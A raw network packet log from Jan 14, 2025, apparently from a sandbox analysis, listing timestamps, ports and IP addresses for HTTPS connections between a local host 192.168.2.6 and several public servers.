Jan 14, 2025 15:55:59.949867964 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.949882984 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.949924946 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.949924946 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.950720072 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.950735092 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.950788975 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.950793028 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.950836897 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.953620911 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.953638077 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.953751087 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.953756094 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.953846931 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.953943014 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.953958035 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.954154015 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.954158068 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.954469919 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.955261946 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.955277920 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.955337048 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.955341101 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.955400944 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.977564096 CET	49847	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.977602005 CET	443	49847	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.977679014 CET	49847	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.978859901 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.985439062 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.985460043 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.985519886 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.985527039 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.985596895 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.990056992 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.990108967 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.990133047 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.990144968 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.990161896 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.990179062 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.990200996 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.990592003 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.990609884 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.990655899 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.990665913 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.991024017 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.991044044 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.991076946 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.991089106 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.991110086 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.991146088 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.992163897 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.992178917 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.992238998 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.992254019 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.992265940 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.992300034 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.995155096 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.995170116 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.995218992 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.995238066 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.995254040 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.995274067 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.995640039 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.995656013 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.995706081 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.995721102 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.997275114 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.997294903 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.997333050 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.997349977 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:55:59.997364998 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:55:59.997386932 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.020256042 CET	49847	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.020277977 CET	443	49847	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.022094011 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.024271011 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.029175997 CET	49839	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.029196978 CET	443	49839	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.032499075 CET	49836	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.032526970 CET	443	49836	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.035084009 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.035104990 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.035172939 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.035201073 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.035207987 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.035217047 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.035237074 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.035324097 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.035465002 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.035479069 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.035657883 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.035661936 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.035944939 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.035963058 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.035989046 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.035993099 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.036024094 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.037331104 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.037345886 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.037399054 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.037404060 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.038536072 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.039678097 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.039695024 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.039755106 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.039760113 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.039797068 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.040186882 CET	49835	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.040215015 CET	443	49835	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.042135000 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.042154074 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.042376041 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.042376041 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.042381048 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.046495914 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.046520948 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.046577930 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.046595097 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.046648026 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.072314978 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.072333097 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.072376013 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.072384119 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.072501898 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.076493979 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.076548100 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.076575041 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.076601982 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.076613903 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.076634884 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.076657057 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.076994896 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.077003002 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.077078104 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.077086926 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.077148914 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.077167034 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.077186108 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.077235937 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.077244043 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.077307940 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.079062939 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.079078913 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.079138994 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.079139948 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.079154015 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.079170942 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.079205990 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.079210997 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.079212904 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.079224110 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.079268932 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.081880093 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.081898928 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.081948996 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.081964970 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.082098007 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.083929062 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.083950043 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.083991051 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.084002018 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.084052086 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.087012053 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.087033987 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.087078094 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.087090015 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.087111950 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.087136030 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.121906996 CET	49848	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.121968031 CET	443	49848	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:00.122092962 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.122118950 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.122184992 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.122185946 CET	49848	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.122201920 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.122220039 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.122237921 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.122272015 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.122306108 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.122410059 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.122426987 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.122490883 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.122502089 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.122551918 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.122781038 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.122797012 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.122898102 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.122903109 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.122970104 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.123047113 CET	49848	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.123059988 CET	443	49848	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:00.124018908 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.124037027 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.124103069 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.124110937 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.124125004 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.124233961 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.126516104 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.126535892 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.126605034 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.126611948 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.126663923 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.129506111 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.129578114 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.129614115 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.129620075 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.129641056 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.129690886 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.137821913 CET	443	49842	108.138.26.121	192.168.2.6
Jan 14, 2025 15:56:00.137845039 CET	443	49842	108.138.26.121	192.168.2.6
Jan 14, 2025 15:56:00.137919903 CET	443	49842	108.138.26.121	192.168.2.6
Jan 14, 2025 15:56:00.137958050 CET	49842	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:56:00.137980938 CET	49842	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:56:00.162483931 CET	49842	443	192.168.2.6	108.138.26.121
Jan 14, 2025 15:56:00.162508011 CET	443	49842	108.138.26.121	192.168.2.6
Jan 14, 2025 15:56:00.177747965 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.177773952 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.177824974 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.177830935 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.177886009 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.179465055 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.179513931 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.179552078 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.179567099 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.179582119 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.179595947 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.179630041 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.179636955 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.179649115 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.179671049 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.179704905 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.179711103 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.179732084 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.179748058 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.179779053 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.179804087 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.179804087 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.179821014 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.179826021 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.179843903 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.179858923 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.179900885 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.179905891 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.179939032 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.180151939 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.180167913 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.180208921 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.180216074 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.180234909 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.180246115 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.180253029 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.180259943 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.180299044 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.180301905 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.180320978 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.180339098 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.180360079 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.180366993 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.180383921 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.181128979 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.181143999 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.181178093 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.181185007 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.181210995 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.181212902 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.181240082 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.181263924 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.181269884 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.181287050 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.192598104 CET	49852	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.192641973 CET	443	49852	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:00.192717075 CET	49852	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.193038940 CET	49852	443	192.168.2.6	108.138.26.118
Jan 14, 2025 15:56:00.193056107 CET	443	49852	108.138.26.118	192.168.2.6
Jan 14, 2025 15:56:00.209148884 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.209171057 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.209372997 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.209381104 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.209470987 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.209551096 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.209566116 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.209573984 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.209602118 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.209609985 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.209669113 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.209673882 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.209697008 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.209750891 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.210769892 CET	49834	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.210787058 CET	443	49834	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.226862907 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.250159025 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.250201941 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.250232935 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.250251055 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.250268936 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.250318050 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.250468016 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.250484943 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.250572920 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.250581026 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.250611067 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.250813961 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.250829935 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.250881910 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.250888109 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.251183987 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.252835035 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.252855062 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.252908945 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.252918959 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.252943993 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.252958059 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.252958059 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.252971888 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.252994061 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.253025055 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.255584002 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.255628109 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.255652905 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.255661011 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.255693913 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.257457972 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.257479906 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.257524014 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.257531881 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.257566929 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.260508060 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.260529041 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.260581017 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.260591984 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.260639906 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.336956978 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.336983919 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.337069035 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.337085009 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.337137938 CET	49838	443	192.168.2.6	143.204.98.14
Jan 14, 2025 15:56:00.337408066 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.337425947 CET	443	49838	143.204.98.14	192.168.2.6
Jan 14, 2025 15:56:00.337512016 CET	49838	443	192.168.2.6	143.204.98.14
